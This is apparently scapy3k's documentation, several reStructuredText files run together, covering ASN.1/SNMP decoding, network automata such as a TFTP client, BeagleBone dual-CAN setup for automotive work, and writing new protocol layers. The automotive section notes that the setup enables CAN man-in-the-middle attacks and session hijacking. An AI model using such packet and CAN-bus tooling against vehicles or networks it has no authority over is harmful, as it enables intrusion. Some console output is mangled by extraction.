... cnAxa8cZmIDJgt43d15Ui47y6mdPyXSEkVYJ1eV6moG2gcKtNuTxVBFT8zRF ... ASbI5Rq8NEQh3q0l/HYWdyGQgJhXnU7q7C+qPBR7V8F+GBRn7iTGvboVsNIY ... vbdVgaxTwOjdaRITQrcCtQVBynlQboIOcXKTRuidDV29rs4prWPVVRaAMCf/ ... drr3uNZK49m1+VLQTkCpx+XCMseqdiThawVQ68W/ClTluUI8JPu3B5wwn3la ... 5uBAUhX0/Kr0VvlEl4ftDmVyXr4m+02kLQgH3thcoNyBM5kYJRF3p+v9WAks ... mWsbivNSPxpNSGDxoPYzAlOL7SUJuA0t7Zdz7NeWH45gDtoQmy8YJPamTQr5 ... O8t1wswvziRpyQoijlmn94IM19drNZxDAGrElWe6nEXLuA4399xOAU++CrYD ... 062KRffaJ00psUjf5BHklka9bAI+1lHIlRcBFanyqqryvy9lG2/QuRqT9Y41 ... xICHPpQvZuTpqP9BnHAqTyo5GJUefvthATxRCC4oGKQWDzH9OmwjkyB24f0H ... hdFbP9IcczLd+rn4jM8Ch3qaluTtT4mNU0OrDhPAARW0eTjb/G49nlG2uBOL ... Z8/5fNkiHfZdxRwBL5joeiQYvITX+txyW/fBOmg= ... """.decode("base64") >>> (dcert,remain) = BERcodec_Object.dec(cert) Traceback (most recent call last): File "", line 1, in ? File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2094, in do_dec return codec.dec(s,context,safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2218, in do_dec o,s = BERcodec_Object.dec(s, context, safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2094, in do_dec return codec.dec(s,context,safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2218, in do_dec o,s = BERcodec_Object.dec(s, context, safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2092, in do_dec raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p,t), remaining=s) BER_Decoding_Error: Unknown prefix [a0] for ['\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H...'] ### Already decoded ### [[]] ### Remaining ### '\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x000\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x1e\x17\r020529060000Z\x17\r370928234300Z0\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x82\x02"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x02\x0f\x000\x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc\xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01>> (dcert,remain) = BERcodec_Object.dec(cert, context=ASN1_Class_X509) >>> dcert.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_X509_CONT0: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_X509_CONT3: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: \xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01 ASN.1 layers ^^^^^^^^^^^^ While this may be nice, it's only an ASN.1 encoder/decoder. Nothing related to Scapy yet. ASN.1 fields ~~~~~~~~~~~~ Scapy provides ASN.1 fields. They will wrap ASN.1 objects and provide the necessary logic to bind a field name to the value. ASN.1 packets will be described as a tree of ASN.1 fields. Then each field name will be made available as a normal ``Packet`` object, in a flat flavor (ex: to access the version field of a SNMP packet, you don't need to know how many containers wrap it). Each ASN.1 field is linked to an ASN.1 object through its tag. ASN.1 packets ~~~~~~~~~~~~~ ASN.1 packets inherit from the Packet class. Instead of a ``fields_desc`` list of fields, they define ``ASN1_codec`` and ``ASN1_root`` attributes. The first one is a codec (for example: ``ASN1_Codecs.BER``), the second one is a tree compounded with ASN.1 fields. A complete example: SNMP ------------------------ SNMP defines new ASN.1 objects. We need to define them:: class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name="SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 PDU_SET = 0xa3 PDU_TRAPv1 = 0xa4 PDU_BULK = 0xa5 PDU_INFORM = 0xa6 PDU_TRAPv2 = 0xa7 These objects are PDU, and are in fact new names for a sequence container (this is generally the case for context objects: they are old containers with new names). This means creating the corresponding ASN.1 objects and BER codecs is simplistic:: class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT # [...] class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT # [...] Metaclasses provide the magic behind the fact that everything is automatically registered and that ASN.1 objects and BER codecs can find each other. The ASN.1 fields are also trivial:: class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_GET class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_NEXT # [...] Now, the hard part, the ASN.1 packet:: SNMP_error = { 0: "no_error", 1: "too_big", # [...] } SNMP_trap_types = { 0: "cold_start", 1: "warm_start", # [...] } class SNMPvarbind(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid","1.3"), ASN1F_field("value",ASN1_NULL(0)) ) class SNMPget(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPnext(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) # [...] class SNMP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {0:"v1", 1:"v2c", 2:"v2", 3:"v3"}), ASN1F_STRING("community","public"), ASN1F_CHOICE("PDU", SNMPget(), SNMPget, SNMPnext, SNMPresponse, SNMPset, SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2) ) def answers(self, other): return ( isinstance(self.PDU, SNMPresponse) and ( isinstance(other.PDU, SNMPget) or isinstance(other.PDU, SNMPnext) or isinstance(other.PDU, SNMPset) ) and self.PDU.id == other.PDU.id ) # [...] bind_layers( UDP, SNMP, sport=161) bind_layers( UDP, SNMP, dport=161) That wasn't that much difficult. If you think that can't be that short to implement SNMP encoding/decoding and that I may may have cut too much, just look at the complete source code. Now, how to use it? As usual:: >>> a=SNMP(version=3, PDU=SNMPget(varbindlist=[SNMPvarbind(oid="1.2.3",value=5), ... SNMPvarbind(oid="3.2.1",value="hello")])) >>> a.show() ###[ SNMP ]### version= v3 community= 'public' \PDU\ |###[ SNMPget ]### | id= 0 | error= no_error | error_index= 0 | \varbindlist\ | |###[ SNMPvarbind ]### | | oid= '1.2.3' | | value= 5 | |###[ SNMPvarbind ]### | | oid= '3.2.1' | | value= 'hello' >>> hexdump(a) 0000 30 2E 02 01 03 04 06 70 75 62 6C 69 63 A0 21 02 0......public.!. 0010 01 00 02 01 00 02 01 00 30 16 30 07 06 02 2A 03 ........0.0...*. 0020 02 01 05 30 0B 06 02 7A 01 04 05 68 65 6C 6C 6F ...0...z...hello >>> send(IP(dst="1.2.3.4")/UDP()/SNMP()) . Sent 1 packets. >>> SNMP(str(a)).show() ###[ SNMP ]### version= community= \PDU\ |###[ SNMPget ]### | id= | error= | error_index= | \varbindlist\ | |###[ SNMPvarbind ]### | | oid= | | value= | |###[ SNMPvarbind ]### | | oid= | | value= Resolving OID from a MIB ------------------------ About OID objects ^^^^^^^^^^^^^^^^^ OID objects are created with an ``ASN1_OID`` class:: >>> o1=ASN1_OID("2.5.29.10") >>> o2=ASN1_OID("1.2.840.113549.1.1.1") >>> o1,o2 (, ) Loading a MIB ^^^^^^^^^^^^^ Scapy can parse MIB files and become aware of a mapping between an OID and its name:: >>> load_mib("mib/*") >>> o1,o2 (, ) The MIB files I've used are attached to this page. Scapy's MIB database ^^^^^^^^^^^^^^^^^^^^ All MIB information is stored into the conf.mib object. This object can be used to find the OID of a name :: >>> conf.mib.sha1_with_rsa_signature '1.2.840.113549.1.1.5' or to resolve an OID:: >>> conf.mib._oidname("1.2.3.6.1.4.1.5") 'enterprises.5' It is even possible to graph it:: >>> conf.mib._make_graph() Automata ======== Scapy enables you to easily create network automata. Scapy does not stick to a specific model like `Moore `_ or `Mealy `_ automata. It provides a flexible way for you to choose your way to go. An automaton in Scapy is deterministic. It has different states: a start state, some intermediate and some end and error states. There are transitions from one state to another. Transitions can be tied to specific conditions, the reception of a specific packet or a timeout. When a transition is taken, one or more actions can be run. An action can be bound to many transitions. Parameters can be passed from states to transitions and from transitions to states and actions. From a programmer's point of view, states, transitions and actions are methods from an automaton subclass. They are decorated to provide some meta-information needed in order for the automaton to work. First example ------------- Let's begin with a simple example. I take the convention to write states with capitals, but any valid Python syntax would work as well. :: class HelloWorld(Automaton): @ATMT.state(initial=1) def BEGIN(self): print("State=BEGIN") @ATMT.condition(BEGIN) def wait_for_nothing(self): print("Wait for nothing...") raise self.END() @ATMT.action(wait_for_nothing) def on_nothing(self): print("Action on 'nothing' condition") @ATMT.state(final=1) def END(self): print("State=END") In this example, we can see 3 decorators: * ``ATMT.state`` is used to indicate that a method is a state, and that can have initial, final and error optional arguments set to non-zero for special states. * ``ATMT.condition`` indicates a method to be run when the automaton state reaches the indicated state. The argument is the name of the method representing that state * ``ATMT.action`` binds a method to a transition and is run when the transition is taken. Running this example gives the following result:: >>> a=HelloWorld() >>> a.run() State=BEGIN Wait for nothing... Action on 'nothing' condition State=END This simple automaton can be described with the following graph: .. image:: graphics/ATMT_HelloWorld.* The graph can be automatically drawn from the code with:: >>> HelloWorld.graph() The graph can be saved to an image file using:: >>> HelloWorld.graph().savefig('automaton.png') Changing states --------------- The ``ATMT.state`` decorator transforms a method into a function that raises an exception. If you raise that exception, the automaton state will be changed. If the change occurs in a transition, actions bound to this transition will be called. The parameters given to the function replacing the method will be kept and finally delivered to the method. The exception has a method action_parameters that can be called before it is raised so that it will store parameters to be delivered to all actions bound to the current transition. As an example, let's consider the following state:: @ATMT.state() def MY_STATE(self, param1, param2): print("state=MY_STATE. param1=%r param2=%r" % (param1, param2)) This state will be reached with the following code:: @ATMT.receive_condition(ANOTHER_STATE) def received_ICMP(self, pkt): if ICMP in pkt: raise self.MY_STATE("got icmp", pkt[ICMP].type) Let's suppose we want to bind an action to this transition, that will also need some parameters:: @ATMT.action(received_ICMP) def on_ICMP(self, icmp_type, icmp_code): self.retaliate(icmp_type, icmp_code) The condition should become:: @ATMT.receive_condition(ANOTHER_STATE) def received_ICMP(self, pkt): if ICMP in pkt: raise self.MY_STATE("got icmp", pkt[ICMP].type).action_parameters(pkt[ICMP].type, pkt[ICMP].code) Real example ------------ Here is a real example take from Scapy. It implements a TFTP client that can issue read requests. .. image:: graphics/ATMT_TFTP_read.* :: class TFTP_read(Automaton): def parse_args(self, filename, server, sport = None, port=69, **kargs): Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport def master_filter(self, pkt): return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid) ) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.blocksize=512 self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.res = "" self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP() self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, mode="octet") self.send(self.last_packet) self.awaiting=1 raise self.WAITING() # WAITING @ATMT.state() def WAITING(self): pass @ATMT.receive_condition(WAITING) def receive_data(self, pkt): if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.RECEIVING(pkt) @ATMT.action(receive_data) def send_ack(self): self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting) self.send(self.last_packet) @ATMT.receive_condition(WAITING, prio=1) def receive_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING, 3) def timeout_waiting(self): raise self.WAITING() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) # RECEIVED @ATMT.state() def RECEIVING(self, pkt): recvd = pkt[Raw].load self.res += recvd self.awaiting += 1 if len(recvd) == self.blocksize: raise self.WAITING() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self,pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() #END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) return self.res It can be run like this, for instance:: >>> TFTP_read("my_file", "192.168.1.128").run() Detailed documentation ---------------------- Decorator for states ^^^^^^^^^^^^^^^^^^^^ States are methods decorated by the result of the ``ATMT.state`` function. It can take 3 optional parameters: ``initial``, ``final`` and ``error``. The set to ``True`` indicates that the state is an initial, final or error state. :: class Example(Automaton): @ATMT.state(initial=1) def BEGIN(self): pass @ATMT.state() def SOME_STATE(self): pass @ATMT.state(final=1) def END(self): return "Result of the automaton: 42" @ATMT.state(error=1) def ERROR(self): return "Partial result, or explanation" # [...] Decorators for transitions ^^^^^^^^^^^^^^^^^^^^^^^^^^ Transitions are methods decorated by the result of one of ``ATMT.condition``, ``ATMT.receive_condition``, ``ATMT.timeout``. They all take as argument the state method they are related to. ``ATMT.timeout`` also have a mandatory ``timeout`` parameter to provide the timeout value in seconds. ``ATMT.condition`` and ``ATMT.receive_condition`` have an optional ``prio`` parameter so that the order in which conditions are evaluated can be forced. Default priority is 0. Transitions with the same priority level are called in an undetermined order. When the automaton switches to a given state, the state's method is executed. Then transitions methods are called at specific moments until one triggers a new state (something like ``raise self.MY_NEW_STATE()``). First, right after the state's method returns, the ``ATMT.condition`` decorated methods are run by growing prio. Then each time a packet is received and accepted by the master filter all ``ATMT.receive_condition`` decorated hods are called by growing prio. When a timeout is reached since the time we entered into the current space, the corresponding ``ATMT.timeout`` decorated method is called. :: class Example(Automaton): @ATMT.state() def WAITING(self): pass @ATMT.condition(WAITING) def it_is_raining(self): if not self.have_umbrella: raise self.ERROR_WET() @ATMT.receive_condition(WAITING, prio=1) def it_is_ICMP(self, pkt): if ICMP in pkt: raise self.RECEIVED_ICMP(pkt) @ATMT.receive_condition(WAITING, prio=2) def it_is_IP(self, pkt): if IP in pkt: raise self.RECEIVED_IP(pkt) @ATMT.timeout(WAITING, 10.0) def waiting_timeout(self): raise self.ERROR_TIMEOUT() Decorator for actions ^^^^^^^^^^^^^^^^^^^^^ Actions are methods that are decorated by the return of ``ATMT.action`` function. This function takes the transition method it is bound to as first parameter and an optionnal priority ``prio`` as a second parameter. Default priority is 0. An action method can be decorated many times to be bound to many transitions. :: class Example(Automaton): @ATMT.state(initial=1) def BEGIN(self): pass @ATMT.state(final=1) def END(self): pass @ATMT.condition(BEGIN, prio=1) def maybe_go_to_end(self): if random() > 0.5: raise self.END() @ATMT.condition(BEGIN, prio=2) def certainly_go_to_end(self): raise self.END() @ATMT.action(maybe_go_to_end) def maybe_action(self): print("We are lucky...") @ATMT.action(certainly_go_to_end) def certainly_action(self): print("We are not lucky...") @ATMT.action(maybe_go_to_end, prio=1) @ATMT.action(certainly_go_to_end, prio=1) def always_action(self): print("This wasn't luck!...") The two possible outputs are:: >>> a=Example() >>> a.run() We are not lucky... This wasn't luck!... >>> a.run() We are lucky... This wasn't luck!... Methods to overload ^^^^^^^^^^^^^^^^^^^ Two methods are hooks to be overloaded: * The ``parse_args()`` method is called with arguments given at ``__init__()`` and ``run()``. Use that to parametrize the behaviour of your automaton. * The ``master_filter()`` method is called each time a packet is sniffed and decides if it is interesting for the automaton. When working on a specific protocol, this is where you will ensure the packet belongs to the connection you are being part of, so that you do not need to make all the sanity checks in each transition. scapy-0.23/doc/scapy/automotive_usage.rst000066400000000000000000000253441320561231000205540ustar00rootroot00000000000000**************** Automotive usage **************** .. note:: All automotive related features are only supported on linux systems, yet. CAN and ISOTP sockets in scapy are based on linux kernel modules. This guide explains the hardware setup on a BeagleBone Black. The BeagleBone Black was chosen because of its two CAN interfaces on the main processor. The presence of two CAN interfaces in one device gives the possibility of CAN MITM attacks and session hijacking. The Cannelloni framework turns a BeagleBone Black into a CAN-to-UDP interface, which gives you the freedom to run Scapy3k on a more powerful machine. Setup ===== Hardware Setup -------------- Beagle Bone Black Operating System Setup ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #. | **Download an Image** | The latest Debian Linux image can be found at the website | ``https://beagleboard.org/latest-images``. Choose the BeagleBone Black IoT version and download it. :: wget https://debian.beagleboard.org/images/bone-debian-8.7\ -iot-armhf-2017-03-19-4gb.img.xz After the download, copy it to an SD-Card with minimum 4 GB storage. :: xzcat bone-debian-8.7-iot-armhf-2017-03-19-4gb.img.xz | \ sudo dd of=/dev/xvdj #. | **Enable WiFi** | USB-WiFi dongles are well supported by Debian Linux. Login over SSH on the BBB and add the WiFi network credentials to the file ``/var/lib/connman/wifi.config``. If a USB-WiFi dongle is not available, it is also possible to share the host’s internet connection with the Ethernet connection of the BBB emulated over USB. A tutorial to share the host network connection can be found on this page: | ``https://elementztechblog.wordpress.com/2014/12/22/sharing-internet -using-network-over-usb-in-beaglebone-black/``. | Login as root onto the BBB: :: ssh debian@192.168.7.2 sudo su Provide the WiFi login credentials to connman: :: echo "[service_home] Type = wifi Name = ssid Security = wpa Passphrase = xxxxxxxxxxxxx" \ > /var/lib/connman/wifi.config Restart the connman service: :: systemctl restart connman.service #. | **Install Required Packages** | This step is required to install all necessary software packages to continue with the modification of the BBB device tree overlay. :: apt-get update apt-get -y upgrade exit git clone https://github.com/beagleboard/bb.org-overlays cd ./bb.org-overlays Verify the installed DTC1 version to ensure that the DTC1 is suitable for the downloaded overlays. Version 1.4.1 or higher is required. :: dtc --version Update the installed DTC1 with an update script in the cloned repository. :: ./dtc-overlay.sh Compile all delivered DTS files and install the DTBO onto the current system. Again, a delivered script simplifies this job. :: ./install.sh Now, the operating system and the device tree are ready for modifications. Dual-CAN Setup ~~~~~~~~~~~~~~ #. | **Create a CAN0 Overlay** | Inside the DTS folder, create a file with the content of the following listing. :: cd ~/bb.org-overlays/src/arm cat < BB-CAN0-00A0.dts /dts-v1/; /plugin/; #include #include / { compatible = "ti,beaglebone", \ "ti,beaglebone-black", "ti,beaglebone-green"; /* identification */ part-number = "BB-CAN0"; version = "00A0"; /* state the resources this cape uses */ exclusive-use = /* the pin header uses */ "P9.19", /* can0_rx */ "P9.20", /* can0_tx */ /* the hardware ip uses */ "dcan0"; fragment@0 { target = <&am33xx_pinmux>; __overlay__ { bb_dcan0_pins: pinmux_dcan0_pins { pinctrl-single,pins = < 0x178 0x12 /* d_can0_tx */ 0x17C 0x32 /* d_can0_rx */ >; }; }; }; fragment@1 { target = <&dcan0>; __overlay__ { status = "okay"; pinctrl-names = "default"; pinctrl-0 = <&bb_dcan0_pins>; }; }; }; EOF Compile the generated file with the delivered Makefile from the repository. :: cd ../../ make sudo make install #. | **Modify the Boot Device Tree Blob** | Backup and decompile the current device tree blob. :: cp /boot/dtbs/4.4.54-ti-r93/am335x-boneblack.dtb ~/ dtc -I dtb -O dts ~/am335x-boneblack.dtb > ~/am335x-boneblack.dts To free the CAN0 pins of the BBB, used I2C2 pins need to be disabled. This can be done by commenting out the appropriate lines in the DTS file. Search for the pinmux\_i2c2\_pins section and save the modified file with a new name. The BeagleBone community uses the I2C2 peripheral module for the communication and identification of extension modules, so called capes. This modification disables the compatibility to any of these capes. :: vim am335x-boneblack.dts 895 /* pinmux_i2c2_pins { 896 pinctrl-single,pins = <0x178 0x33 0x17c 0x33>; 897 linux,phandle = <0x35>; 898 phandle = <0x35>; 899 };*/ : wq am335x-boneblack_new.dts Compile the modified DTS file and replace the original file in the boot partition of the BBB. Reboot the BBB after the replacement. :: dtc -O dtb -o ~/am335x-boneblack_new.dtb -b 0 ~/am335x-boneblack_new.dts cp ~/am335x-boneblack_new.dtb /boot/dtbs/4.4.54-ti-r93/am335x-boneblack.dtb reboot #. | **Test the Dual-CAN Setup** | Load the CAN kernel modules and the overlays. :: sudo su modprobe can modprobe can-dev modprobe can-raw echo BB-CAN0 > /sys/devices/platform/bone_capemgr/slots echo BB-CAN1 > /sys/devices/platform/bone_capemgr/slots Check the output of the Capemanager if both CAN interfaces have been loaded. :: cat /sys/devices/platform/bone_capemgr/slots 0: PF---- -1 1: PF---- -1 2: PF---- -1 3: PF---- -1 4: P-O-L- 0 Override Board Name,00A0,Override Manuf, BB-CAN0 5: P-O-L- 1 Override Board Name,00A0,Override Manuf, BB-CAN1 If something went wrong, ``dmesg`` provides kernel messages to analyze the root of failure. #. **Optional: Enable Dual-CAN Setup at Boot** :: echo "modprobe can \ modprobe can-dev \ modprobe can-raw" >> /etc/modules echo "cape_enable=bone_capemgr.enable_partno=BB-CAN0,BB-CAN1" >> /boot/uEnv.txt update-initramfs -u ISO-TP Kernel Module Installation ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A Linux ISO-TP kernel module can be downloaded from this website: ``https://github.com/ hartkopp/can-isotp.git``. The file ``README.isotp`` in this repository provides all information and necessary steps for downloading and building this kernel module. The ISO-TP kernel module should also be added to the ``/etc/modules`` file, to load this module automatically at system boot of the BBB. CAN-Interface Setup ~~~~~~~~~~~~~~~~~~~ As final step to prepare the BBB’s CAN interfaces for usage, these interfaces have to be setup through some terminal commands. The bitrate can be chosen to fit the bitrate of a CAN bus under test. :: ip link set can0 up type can bitrate 500000 ip link set can1 up type can bitrate 500000 ifconfig can0 up ifconfig can1 up Software Setup -------------- Cannelloni Framework Installation ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Cannelloni framework is a small application written in C++ to transfer CAN data over UDP. In this way, a researcher can map the CAN communication of a remote device to its workstation, or even combine multiple remote CAN devices on his machine. The framework can be downloaded from this website: ``https://github.com/mguentner/cannelloni.git``. The ``README.md`` file explains the installation and usage in detail. Cannelloni needs virtual CAN interfaces on the operators machine. The next listing shows the setup of virtual CAN interfaces. :: modprobe vcan ip link add name vcan0 type vcan ip link add name vcan1 type vcan ip link set dev vcan0 up ip link set dev vcan1 up tc qdisc add dev vcan0 root tbf rate 300kbit latency 100ms burst 1000 tc qdisc add dev vcan1 root tbf rate 300kbit latency 100ms burst 1000 cannelloni -I vcan0 -R -r 20000 -l 20000 & cannelloni -I vcan1 -R -r 20001 -l 20001 & Examples ======== CAN Layer --------- Setup ~~~~~ This commands enable a virtual CAN interface on your machine :: from scapy.layers.can import * import os bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" os.system(bashCommand) If it's required, the CAN interface can be set into an listen-only or loop back mode with ip link set commands:: ip link set vcan0 type can help # shows additional information CAN Frame ~~~~~~~~~ Creating a standard CAN frame:: frame = CAN(id=0x200, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') Creating an extended CAN frame:: frame = CAN(flags='EFF', id=0x10010000, dlc=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') Writing and reading to pcap files:: x = CAN(id=0x7ff,dlc=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') wrpcap('/tmp/scapyPcapTest.pcap', x, append=False) y = rdpcap('/tmp/scapyPcapTest.pcap', 1) CAN Socket ~~~~~~~~~~ Ways of creating a CAN socket:: # Simple Socket socket = CANSocket(iface="vcan0") # Socket only listen for messages with Id == 0x200 socket = CANSocket(iface="vcan0", filter=[{'can_id': 0x200, 'can_mask': 0x7FF}]) # Socket only listen for messages with Id >= 0x200 and Id <= 0x2ff socket = CANSocket(iface="vcan0", filter=[{'can_id': 0x200, 'can_mask': 0x700}]) # Socket only listen for messages with Id != 0x200 socket = CANSocket(iface="vcan0", filter=[{'can_id': 0x200 | CAN_INV_FILTER, 'can_mask': 0x7FF}]) # Socket with multiple filters socket = CANSocket(iface='vcan0', filter=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) # Socket which also receives its own messages socket = CANSocket(iface="vcan0", receive_own_messages=True) scapy-0.23/doc/scapy/backmatter.rst000066400000000000000000000011731320561231000173030ustar00rootroot00000000000000 ********* Credits ********* - Philippe Biondi is Scapy's author. He has also written most of the documentation. - Fred Raynal wrote the chapter on building and dissecting packets. - Sebastien Martini added some details in "Handling default values: automatic computation". - Peter Kacherginsky contributed several tutorial sections, one-liners and recipes. - Dirk Loss integrated and restructured the existing docs to make this book. He has also written the installation instructions for Windows. - Eriks Dobelis ported scapy to python3 and created scapy3k. He has updated documentation for scapy3k and added more recipes. scapy-0.23/doc/scapy/build_dissect.rst000066400000000000000000001124631320561231000200100ustar00rootroot00000000000000******************** Adding new protocols ******************** .. note:: This section has not been updated for scapy3k yet. Code examples may not work directly. Try bytes() instead of str() and b'string' instead of b'somestring'. Adding new protocol (or more correctly: a new *layer*) in Scapy is very easy. All the magic is in the fields. If the fields you need are already there and the protocol is not too brain-damaged, this should be a matter of minutes. Simple example ============== A layer is a subclass of the ``Packet`` class. All the logic behind layer manipulation is hold by the ``Packet`` class and will be inherited. A simple layer is compounded by a list of fields that will be either concatenated when assembling the layer or dissected one by one when disassembling a string. The list of fields is held in an attribute named ``fields_desc``. Each field is an instance of a field class:: from scapy.packet import * class Disney(Packet): name = "DisneyPacket" fields_desc=[ShortField("mickey", 5), XByteField("minnie", 3), IntEnumField("donald", 1, {1: "happy", 2: "cool" , 3: "angry"})] In this example, our layer has three fields. The first one is an 2 byte integer field named ``mickey`` and whose default value is 5. The second one is a 1 byte integer field named ``minnie`` and whose default value is 3. The difference between a vanilla ``ByteField`` and a ``XByteField`` is only the fact that the prefered human representation of the field’s value is in hexadecimal. The last field is a 4 byte integer field named ``donald``. It is different from a vanilla ``IntField`` by the fact that some of the possible values of the field have litterate representations. For example, if it is worth 3, the value will be displayed as angry. Moreover, if the "cool" value is assigned to this field, it will understand that it has to take the value 2. If you saved your class into a file called "disney.py", import it for testing:: >>> sys.path.append('.') >>> from disney import * If your protocol is as simple as this, it is ready to use:: >>> d=Disney(mickey=1) >>> ls(d) mickey : ShortField = 1 (5) minnie : XByteField = 3 (3) donald : IntEnumField = 1 (1) >>> d.show() ###[ Disney Packet ]### mickey= 1 minnie= 0x3 donald= happy >>> d.donald="cool" >>> bytes(d) ’\x00\x01\x03\x00\x00\x00\x02’ >>> Disney( ) This chapter explains how to build a new protocol within Scapy. There are two main objectives: * Dissecting: this is done when a packet is received (from the network or a file) and should be converted to Scapy’s internals. * Building: When one wants to send such a new packet, some stuff needs to be adjusted automatically in it. Layers ====== Before digging into dissection itself, let us look at how packets are organized. :: >>> p = IP()/TCP()/"AAAA" >>> p >> >>> p.summary() 'IP / TCP 127.0.0.1:ftp-data > 127.0.0.1:www S / Raw' We are interested in 2 "inside" fields of the class ``Packet``: * ``p.underlayer`` * ``p.payload`` And here is the main "trick". You do not care about packets, only about layers, stacked one after the other. One can easily access a layer by its name: 